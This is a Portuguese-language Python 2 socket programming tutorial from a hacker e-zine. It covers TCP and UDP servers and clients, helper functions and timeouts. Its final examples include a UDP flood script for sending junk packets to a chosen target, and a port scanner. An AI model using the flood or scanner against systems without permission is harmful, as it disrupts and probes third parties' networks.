############################################################################ # Security Darkers # # Darkers Zine # #Membros:_Dr4k0_,Storm,gbr,nibbles,OnlyOne,Sthealt,Dark_Side,Fylhoth,rog # #Autor:Dark_Side # #Contato: wWw.darkers.com.br/smf # # # # # ############################################################################ Sockets em Python 1. Introdução 2. Criando um socket em Python 3. Sockets - um programa servidor 4. Sockets - um programa cliente 5. Enviando e recebendo dados 6. Fechando um socket 7. Sockets com o protocolo UDP 8. Algumas funções relacionadas a sockets 9. Exemplos de uso 10. Finalizando =================================================================================== Introdução =================================================================================== Trabalhar com sockets em Python é uma tarefa extremamente fácil e simples. Outra vantagem é que o código necessário para tal, é bem enxuto e de fácil compreensão. No entanto, a simplicidade não torna a programação de sockets pouco produtiva, aliás, é possível desenvolver aplicativos poderosos rapidamente. =================================================================================== Criando um socket em Python =================================================================================== A criação de um socket em Python pode ser feita da seguinte maneira: ----------------------------------------------------------------------- import socket # Importa o módulo do socket import sys # para usar sys.exit() try: sock = socket.socket(FAMÍLIA,TIPO,PROTOCOLO) except socket.error: print "Erro ao criar o socket" sys.exit(1) # Encerra ----------------------------------------------------------------------- Para utilizarmos sockets em Python, precisamos importar o módulo necessário - socket. Vejamos os parâmetros: FAMÍLIA: define a família do socket, que pode ser: AF_UNIX => família de protocolo UNIX ; Necessita de constante definida AF_INET => família INTERNET ; IPV4 AF_INET6 => família INTERNET ; IPV6 TIPO: define o tipo de socket; Os principais: SOCK_STREAM => TCP SOCK_DGRAM => UDP SOCK_RAW => RAW Socket PROTOCOLO: define os argumentos para o uso do protocolo, geralmente é definido como 0. Veja abaixo a criação de um socket em si: ----------------------------------------------------------------------- import socket import sys # sys.exit() try: sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM,0) except socket.error: print "Erro ao criar o socket" sys.exit(1) # Encerra ----------------------------------------------------------------------- Acima estamos associando a variável "sock" ao nosso socket. As constantes utilizadas (AF_INET e SOCK_STREAM), necessitam do prefixo "socket." uma vez em que fazem parte da classe de sockets. As instruções try e except, são utilizas para tratar de exceções geradas pelo programa. Estas exceções são geralmente erros que ocorrem em tempo de execução do programa, tendo que ser tratadas. A classe "socket.error" é utilizada para tratar erros de socket. Sintaxe: try: # instruções iniciais except : # CLASSE = classe do erro a ser tratado # instruções de tratamento dos possíveis erros gerados =================================================================================== Sockets - um programa servidor =================================================================================== Para criamos um socket e o configurar como servidor, devemos especificar a porta em que este irá aguardar e receber conexões. Vejamos: ----------------------------------------------------------------------- import socket import sys try: sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM,0) # Tenta criar o socket except socket.error: print "Erro ao criar o socket" sys.exit(1) porta = 1234 # Porta utilizada try: sock.bind(("",porta)) # Configura o socket na porta local sock.listen(1) # Aguarda 1 conexão except socket.error: print "Erro ao configurar socket na porta local" sys.exit(1) sock,addr = sock.accept() # Aceita uma conexão print "Conexao vinda de: " + str(addr[0]) + "\nPorta: " + str(addr[1]) sock.close() ----------------------------------------------------------------------- Vejamos: porta = 1234 Definimos a porta em que o socket deverá receber conexões try: sock.bind(("",porta)) sock.listen(1) except socket.error: print "Erro ao configurar socket na porta local" sys.exit(1) Tentamos configurar o socket na porta local com o método bind(): Sintaxe: sock.bind((HOST,Porta)) sock: nome atribuído ao socket; HOST: hostname local, o parâmetro pode estar vazio; Porta: porta local. O método listen() é utilizado para colocar o socket em modo de espera. Sintaxe: sock.listen(num) sock: nome atribuído ao socket; num: número de conexões que o socket poderá receber. No nosso exemplo, o socket iria aguardar 1 conexão na porta 1234. sock,addr = sock.accept() Aguarda até que um pedido de conexão seja feito. Quando este é feito, a conexão é associada ao socket atribuído. Sintaxe: novosock,addr = sock.accept() novosock: nome do socket que terá a conexão atrubuída, pode ser o mesmo socket criado; addr: array que irá armazenar o HOST e PORTA do computador remoto conectado. print "Conexao vinda de: " + str(addr[0]) + "\nPorta: " + str(addr[1]) Em Python, os valores de um array são acessados da seguinte forma: array[0] = primeiro elemento; array[1] = segundo elemento; array[2] = terceiro elemento. .... No array "addr": addr[0] = HOST do computador remoto; addr[1] = Porta do computador remoto. Note que utilizamos a função auxiliar str() para converter os valores para string, e só assim, concatenar os valores. sock.close() Fecha o socket. =================================================================================== Sockets - um programa cliente =================================================================================== Para conectar a um host, utilizamos o método connect(). Sintaxe: sock.connect((HOST,PORTA)) sock: nome atribuído ao socket; HOST: Hostname ou IP a se conectar; Porta: Porta utilizada na conexão. Exemplo: ----------------------------------------------------------------------- import socket import sys try: sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM,0) except socket.error: print "Erro ao criar o socket" sys.exit(1) # Encerra servidor = "www.servidor.com" porta = 1234 try: sock.connect((servidor,porta)) except socket.error: print "Erro ao conectar em: " + servidor sys.exit(1) print "Conectado!" ----------------------------------------------------------------------- Vejamos: servidor = "www.servidor.com" porta = 1234 sock.connect((servidor,porta)) Tentamos nos conectar ao servidor pela porta 1234. Definimos o servidor a se conectar, e a porta (1234). Utilizamos a instrução try, para validar se houve conexão ou não. =================================================================================== Enviando e recebendo dados =================================================================================== Após termos uma conexão estabelecida (no caso do protocolo TCP), podemos enviar e receber dados. Enviando dados: sock.send(DADOS) sock: nome atribuído ao socket; DADOS: dados que serão enviados. A função retorna a quantidade de bytes enviados; Recebendo dados: buffer = sock.recv(tam) buffer: variável que irá armazenar os dados recebidos; sock: nome atribuído ao socket; tam: número máximo de bytes que podem recebidos. A função retorna os dados recebidos. =================================================================================== Fechando um socket =================================================================================== Fechar um socket é uma tarefa bem simples: Sintaxe: sock.close() sock: nome atribuído ao socket; =================================================================================== Sockets com o protocolo UDP =================================================================================== Trabalhar com sockets sob o protocolo UDP é uma tarefa tão simples quanto trabalhar com o protocolo TCP. Uma vez em que o UDP não é um protocolo orientado a conexão, isto é, não depende de uma conexão estabelecida para enviar e receber dados, é ainda mais simples utilizar este protocolo. Vejamos: ----------------------------------------------------------------------- import socket import sys try: sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM,0) except socket.error: print "Erro ao criar o socket" sys.exit(1) # Encerra porta = 1234 try: sock.bind(("",porta)) except socket.error: print "Erro ao configurar socket na porta local" sys.exit(1) buffer = sock.recvfrom(1024) print "Dados recebidos: " + str(buffer[0]) print "IP remoto: " + str(buffer[1][0]) print "Porta remota: " + str(buffer[1][1]) sock.close() ----------------------------------------------------------------------- Temos um simples exemplo de um servidor em UDP. O programa configura o socket na porta 1234, e quando recebe os primeiros dados, os mostra e fecha o socket. Um detalhe a ser observado é a linha: sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM,0) Utilizamos "socket.SOCK_DGRAM" para especificar o protocolo UDP. Temos ainda outra função sock.recvfrom(). Sintaxe: buffer = sock.recvfrom(tam) buffer: array que armazenará: os dados recebidos, o ip e porta do computador remoto; sock: nome atribuído ao socket; tam: número de bytes que serão recebidos. No caso, buffer[0] = dados recebidos; buffer[1][0] = host do computador remoto; buffer[1][1] = porta remota. Outro exemplo: ----------------------------------------------------------------------- import socket import sys try: sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM,0) except socket.error: print "Erro ao criar o socket" sys.exit(1) # Encerra servidor = "www.servidor.com" porta = 1234 sock.sendto("Hello!",(servidor,porta)) sock.close() ----------------------------------------------------------------------- O programa acima simplesmente enviaria string "Hello!" para o servidor na porta 1234. A sintaxe seria: sock.sendto(dados,(HOST,PORTA)) sock: nome atribuído ao socket; dados: dados que serão enviados; HOST: host do servidor; PORTA: porta do servidor. Algumas observações sobre os protocolos: TCP: Orientado a conexão; Se o pacote não for entregue, ele será retransmitido; Apresenta maior segurança em transmissões de dados. UDP: Não orientado a conexão; Não há garantia da entrega de pacotes; Apresenta menor segurança em transmissões de dados. =================================================================================== Algumas funções relacionadas a sockets =================================================================================== Existem diversas funções que auxiliam a programação de sockets em Python, algumas delas são de enorme utilidade quando se deseja otimizar o programa. gethostbyname() => resolve um host e retorna seu IP. Sintaxe: ip = socket.gethostbyname(hostname) ip: variável que irá receber o IP do host; hostname: host name a resolver; Exemplo: ----------------------------------------------------------------------- import socket try: ip = socket.gethostbyname("www.goo2gle.com.br") print "IP: " + str(ip) except socket.error: print "Erro ao resolver host" ----------------------------------------------------------------------- O programa tentaria resolver o host: "www.google.com.br" e retornar o seu respectivo IP. getservbyport() => retorna o serviço associado a uma porta e um protocolo; Sintaxe: servico = socket.getservbyport(porta,protocolo) servico: variável que irá receber o serviço retornado; porta: porta em que o serviço roda; protocolo: protocolo em que roda o serviço: tcp ou udp. Exemplo: ----------------------------------------------------------------------- import socket porta = int(raw_input("Digite a porta: ")) try: serv = socket.getservbyport(porta,"tcp") print "Servico: " + str(serv) except socket.error: print "Porta desconhecida" ----------------------------------------------------------------------- O programa acima receberia a entrada de uma porta, tentaria obter o serviço associado a esta e mostrá-lo. Por padrão, os sockets criados em Python estão definidos como Blocking. Isso significa que enquanto o socket estiver recebendo dados por exemplo, ele não poderá enviar. Por um lado, isso pode ser útil quando se deseja que efetivamente uma ação seja concluída, antes que outra seja iniciada, por outro lado, o tempo gasto para isso pode ser significativo. Em Python, temos duas funções interessantes que nos permite a controlar o modo pelo qual o socket irá trabalhar. São elas: settimeout() => define o tempo máximo que o socket deve levar para concluir uma operação. Sintaxe: sock.settimeout(valor) sock: nome atribuído ao socket; valor: intervalo em segundos. Exemplo: ----------------------------------------------------------------------- import socket import sys try: sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM,0) except socket.error: print "Erro ao criar o socket" sys.exit(1) porta = 1234 try: sock.bind(("",porta)) sock.listen(1) except socket.error: print "Erro ao configurar socket na porta local" sys.exit(1) sock.settimeout(10) try: sock,addr = sock.accept() print "Conexao vinda de: " + str(addr[0]) + "\nPorta: " + str(addr[1]) except socket.error: sock.close() print "Tempo esgotado" ----------------------------------------------------------------------- No exemplo acima, o socket irá aguardar uma conexão na porta 1234. Porém, existe um tempo limite para que uma conexão ocorra: 10 segundos. Isso foi especificado pela função "sock.settimeout(10)". É importante visar que, quando o tempo limite é esgotado, o programa gera uma exceção que deve se tratada com try e except. Podemos ainda permitir que o socket realize diversas ações simultaneamente, podendo enviar e receber dados sem que uma ação seja conclúida previamente. Para isso, precisamos defini-lo no modo Non-Blocking, com a função setblocking(); Sintaxe: sock.setblocking(modo) sock: nome atribuído ao socket; modo: Se 0, o socket é definido como Non-Blocking, se diferente de 0, blocking. Abaixo, segue exemplos. =================================================================================== Exemplos de uso =================================================================================== Abaixo temos alguns exemplos de programas que utilizam sockets: Exemplo 1 - Programa Chat servidor.py ----------------------------------------------------------------------- import socket import sys try: sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM,0) except socket.error: print "Erro ao criar o socket" sys.exit(1) # Encerra porta = 1234 try: sock.bind(("",porta)) sock.listen(1) except socket.error: print "Erro ao configurar socket na porta local" sys.exit(1) sock,addr = sock.accept() print "Cliente conectado: " + str(addr[0]) + "\n" while 1: # Loop infinito try: env = raw_input(">> ") # Pede a entrada de dados a enviar sock.send(env) # Envia-os buffer = sock.recv(1024) # recebe dados print "<< " + str(buffer) # mostra-os except socket.error: # Em caso de erro ao enviar ou receber print "A conexao foi interrompida!" sys.exit(1) # Encerra sock.close() ----------------------------------------------------------------------- cliente.py ----------------------------------------------------------------------- import socket import sys servidor = raw_input(">> Servidor: ") # Obtém o host do servidor porta = 1234 try: sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM,0) except socket.error: print "Erro ao criar o socket" sys.exit(1) # Encerra try: sock.connect((servidor,porta)) # Tenta se conectar except socket.error: print "Erro ao se conectar em: " + str(servidor) sys.exit(1) print "Conectado!\n" while 1: # Loop infinito try: buffer = sock.recv(1024) # recebe dados print "<< " + str(buffer) # mostra-os env = raw_input(">> ") # pede entrada de dados sock.send(env) # envia-os except socket.error: # Em caso de erro ao enviar ou receber print "A conexao foi interrompida!" sys.exit(1) # Encerra sock.close() # fecha socket ----------------------------------------------------------------------- Exemplo 2: UDP FLOOD flood.py ----------------------------------------------------------------------- import socket import sys servidor = raw_input(">> Alvo: ") # Pergunta pelo host porta = int(raw_input(">> Porta: ")) # Porta num = int(raw_input(">> Pacotes: ")) # número de pacotes try: sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM,0) except socket.error: print "Erro ao criar o socket" sys.exit(1) # Encerra sock.setblocking(0) # Define o socket como nonblocking x = 1; while x <= num: # Enquanto x for menor que o número de pacotes sock.sendto("XXXXXXXXXXXXXXXXXXXXXX",((servidor,porta))) # Envia o pacote print "Enviando pacote " + str(x) + " de " + str(num) # mostra status x = x+1 # Incrementa x sock.close() # fecha socket ----------------------------------------------------------------------- Exemplo 3: PORT SCANNER scan.py ----------------------------------------------------------------------- import socket import sys servidor = raw_input(">> Host: ") # Pergunta pelo host inicial = int(raw_input(">> Porta inicial: ")) # Porta inicial final = int(raw_input(">> Porta final: ")) # Porta final for x in range(inicial,final+1): # De porta inicial até porta final try: sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM,0) # Tenta criar socket except socket.error: print "Erro ao criar o socket" sys.exit(1) # Encerra sock.settimeout(2) # Define tempo máximo de espera = 2 segundos servico = "" print "Escaneando: " + str(x) # Mostra porta em escaneamento try: sock.connect((servidor,x)) # Tenta se conectar => porta aberta servico = socket.getservbyport(x,"tcp") # Obtem servico da porta print "Porta aberta: " + str(x) + " (" + str(servico) + ")" # Mostra a porta e seu respectivo servico except socket.error: sock.close() sock.close() # Fecha o socket ----------------------------------------------------------------------- =================================================================================== Finalizando =================================================================================== Termino aqui esse tutorial básico sobre sockets em Python. Espero que tenha ajudado e que fique um pouco mais claro o uso de sockets na linguagem Python, tendo uma base para o desenvolvimento de futuras aplicações. Carry on... Bye...